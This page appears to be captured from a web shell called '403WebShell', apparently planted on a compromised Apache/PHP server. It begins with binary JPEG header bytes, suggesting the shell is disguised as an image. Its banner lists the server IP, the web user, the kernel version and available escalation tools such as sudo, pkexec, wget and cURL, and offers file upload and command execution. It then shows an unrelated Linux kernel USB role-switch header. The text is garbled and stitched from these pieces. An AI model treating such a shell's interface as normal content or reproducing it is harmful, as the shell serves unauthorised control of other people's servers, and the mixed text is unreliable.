����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.51
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/lib/modules/5.4.0-163-generic/build/include/linux/usb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /proc/self/root/lib/modules/5.4.0-163-generic/build/include/linux/usb/role.h
// SPDX-License-Identifier: GPL-2.0

#ifndef __LINUX_USB_ROLE_H
#define __LINUX_USB_ROLE_H

#include <linux/device.h>

struct usb_role_switch;

enum usb_role {
	USB_ROLE_NONE,
	USB_ROLE_HOST,
	USB_ROLE_DEVICE,
};

typedef int (*usb_role_switch_set_t)(struct device *dev, enum usb_role role);
typedef enum usb_role (*usb_role_switch_get_t)(struct device *dev);

/**
 * struct usb_role_switch_desc - USB Role Switch Descriptor
 * @fwnode: The device node to be associated with the role switch
 * @usb2_port: Optional reference to the host controller port device (USB2)
 * @usb3_port: Optional reference to the host controller port device (USB3)
 * @udc: Optional reference to the peripheral controller device
 * @set: Callback for setting the role
 * @get: Callback for getting the role (optional)
 * @allow_userspace_control: If true userspace may change the role through sysfs
 *
 * @usb2_port and @usb3_port will point to the USB host port and @udc to the USB
 * device controller behind the USB connector with the role switch. If
 * @usb2_port, @usb3_port and @udc are included in the description, the
 * reference count for them should be incremented by the caller of
 * usb_role_switch_register() before registering the switch.
 */
struct usb_role_switch_desc {
	struct fwnode_handle *fwnode;
	struct device *usb2_port;
	struct device *usb3_port;
	struct device *udc;
	usb_role_switch_set_t set;
	usb_role_switch_get_t get;
	bool allow_userspace_control;
};


#if IS_ENABLED(CONFIG_USB_ROLE_SWITCH)
int usb_role_switch_set_role(struct usb_role_switch *sw, enum usb_role role);
enum usb_role usb_role_switch_get_role(struct usb_role_switch *sw);
struct usb_role_switch *usb_role_switch_get(struct device *dev);
struct usb_role_switch *fwnode_usb_role_switch_get(struct fwnode_handle *node);
void usb_role_switch_put(struct usb_role_switch *sw);

struct usb_role_switch *
usb_role_switch_register(struct device *parent,
			 const struct usb_role_switch_desc *desc);
void usb_role_switch_unregister(struct usb_role_switch *sw);
#else
static inline int usb_role_switch_set_role(struct usb_role_switch *sw,
		enum usb_role role)
{
	return 0;
}

static inline enum usb_role usb_role_switch_get_role(struct usb_role_switch *sw)
{
	return USB_ROLE_NONE;
}

static inline struct usb_role_switch *usb_role_switch_get(struct device *dev)
{
	return ERR_PTR(-ENODEV);
}

static inline struct usb_role_switch *
fwnode_usb_role_switch_get(struct fwnode_handle *node)
{
	return ERR_PTR(-ENODEV);
}

static inline void usb_role_switch_put(struct usb_role_switch *sw) { }

static inline struct usb_role_switch *
usb_role_switch_register(struct device *parent,
			 const struct usb_role_switch_desc *desc)
{
	return ERR_PTR(-ENODEV);
}

static inline void usb_role_switch_unregister(struct usb_role_switch *sw) { }
#endif

#endif /* __LINUX_USB_ROLE_H */

Youez - 2016 - github.com/yon3zu
LinuXploit